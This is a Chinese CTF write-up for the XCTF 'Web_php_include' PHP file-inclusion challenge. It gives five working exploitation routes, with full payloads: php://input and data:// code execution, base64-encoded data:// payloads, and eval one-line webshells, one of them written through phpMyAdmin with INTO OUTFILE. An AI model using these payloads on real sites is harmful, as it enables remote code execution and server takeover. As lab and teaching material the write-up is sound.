XCTF-攻防世界CTF平台-Web类——4Web_php_include

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-Web类——4Web_php_include相关的知识,希望对你有一定的参考价值。

打开题目地址:

代码:

<?php
show_source(__FILE__);
echo $_GET['hello'];      //输出hello变量指向的内容
$page=$_GET['page'];		  //把page变量的值赋给$page
while (strstr($page, "php://")) {   //判断$page中是否包含"php://"字符串
    $page=str_replace("php://", "", $page);    //用空替换"php://"字符串
}
include($page);    //将$page变量指向的文件的内容插入当前php文件
?>

show_source(FILE)函数:
对文件进行语法高亮显示,__FILE__指定要显示其内容的文件。
$_GET []变量:
预定义的 $_GET 变量用于收集来自 method=“get” 的表单中的值。从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送信息的量也有限制。
strstr函数:
搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。
str_replace函数:
替换字符串中的一些字符(区分大小写)。
include函数:
将PHP文件的内容插入另一个PHP文件(在服务器执行它之前)。

  所以上面的代码的作用就是接收我们通过GET提交的数据,然后显示输出hello变量指向的内容,之后判断page变量指向的内容是否包括"php://"字符串,如果包括就把它删除,最后显示$page变量指向的文件的内容。

接下来,我们有几种漏洞利用的思路:

方法一、文件包含:php://input伪协议绕过strstr()函数

  php://input是php语言中一个只读的数据流;通过"php://input",可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非"multipart/form-data"的所有数据;"php://input"一般用来读取POST上来,除已被处理以外的剩余数据。
  因为strstr()函数对大小写敏感,也就是字符串中必须要出现"php://"才会生效,page=PHP://input之类的大写的字母是就可以绕过strstr()函数:把PHP://input的值通过GET方式传入,然后通过POST方式提交执行的命令读取目录文件ls、dir:

http://111.200.241.244:53666/?page=PHP://input
<?php system('ls')?><?php system('dir')?>


目录下有三个文件fl4gisisish3r3.php、index.php、phpinfo.php,之后访问这三个页面:


Flag应该是在fl4gisisish3r3.php中,查看文件的内容:

http://111.200.241.244:53666/?page=PHP://input
<?php system('cat index.php')?>

返回的内容在注释当中:

<?php system('cat fl4gisisish3r3.php')?>

得到在注释当中的flag:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

<?php system('cat phpinfo.php')?>

用代理抓包再发送也是一样的:

方法二、文件包含:GET方式提交命令

之后我们尝试只通过page变量来执行命令读取flag:

http://111.200.241.244:53666/?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>

  这里的page变量的值是http://127.0.0.1/index.php/?hello=<?system("ls");?>,在第一个include($page)的时候将http://127.0.0.1/index.php文件的代码包含进去,这时候第二个hello=<?system("ls");?>,然后执行echo $_GET[‘hello’]指向的值system(“ls”)将当前目录下的文件输出:

同样地,我们可以查看fl4gisisish3r3.php的内容,这里我们需要直接用hello变量中执行对文件进行语法高亮显示的函数:

http://111.200.241.244:54128/?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>

或者:

http://111.200.241.244:54128/?page=http://127.0.0.1/index.php/?hello=<?highlight_file("fl4gisisish3r3.php");?>

方法三、data://伪协议

  既然过滤了php://的伪协议 我们可以使用其他协议来做这里使用data://伪协议,php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码。

(1)data://伪协议的提交格式是:
data:text/plain,代码

http://111.200.241.244:54128/index.php?page=data:text/plain,<?php system("ls"); ?>

http://111.200.241.244:54128/index.php?page=data:text/plain,<?php system("cat fl4gisisish3r3.php"); ?>

(2)也可以再使用Base64编码传输:
data:text/plain;base64,(base64编码后的数据)
  但是需要注意如果编码之后的Base64代码中出现了+号,浏览器传输的时候无法识别+号就会出错,可以(1)添加空格不改变代码的作用而改变生成的Base64编码让它不生成+号;(2)将+号换成url编码%2b,也可以直接将整条命令用url编码而不是用Base64编码,浏览器依旧可以识别。
  所以我们把<?php system("dir");?>编码成

http://111.200.241.244:54128/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJkaXIiKTs/Pg==

把<?php system("ls");?>编码成

http://111.200.241.244:54128/?page=data://text/plain;base64,PD9zeXN0ZW0oImxzIik7Pz4=

将<?php system('cat fl4gisisish3r3.php')?>编码成:

http://111.200.241.244:54128/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

方法四、一句话木马连接后台

先用御剑扫描后台页面:

其中就有后台数据库的登录界面http://111.200.241.244:54128/phpmyadmin/db_create.php:

mysql的用户名就是root,密码是空
登录了数据库之后,执行SQL语句插入页面一句话木马内容:

SELECT "<?php eval(@$_POST['password']); ?>"
INTO OUTFILE '/tmp/attack.php'

之后用蚁剑或者菜刀连接,
指定连接的页面
http://111.200.241.244:54128/?page=/tmp/attack.php
以及设定的木马的密码:
password

连接成功之后就可以执行普通用户权限下的命令,查看对应文件的内容:

方法五、data://伪协议+一句话木马

先用data://伪协议写入一句话木马:

http://111.200.241.244:54128/index.php?page=data:text/plain,<?php eval($_POST["1"]); ?>

之后用蚁剑连接:

同样可以得到flag:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}

参考链接:
https://www.w3school.com.cn/php/func_misc_show_source.asp
https://www.runoob.com/php/php-get.html
https://blog.csdn.net/weixin_45844670/article/details/108180309

以上是关于XCTF-攻防世界CTF平台-Web类——4Web_php_include的主要内容,如果未能解决你的问题,请参考以下文章

XCTF-攻防世界CTF平台-Web类——14supersqli

XCTF-攻防世界CTF平台-Web类——6warmup

XCTF-攻防世界CTF平台-Web类——7NewsCenter

XCTF-攻防世界CTF平台-Web类——13Web_php_unserialize

XCTF-攻防世界CTF平台-Web类——11upload1

XCTF-攻防世界CTF平台-Web类——12Web_python_template_injection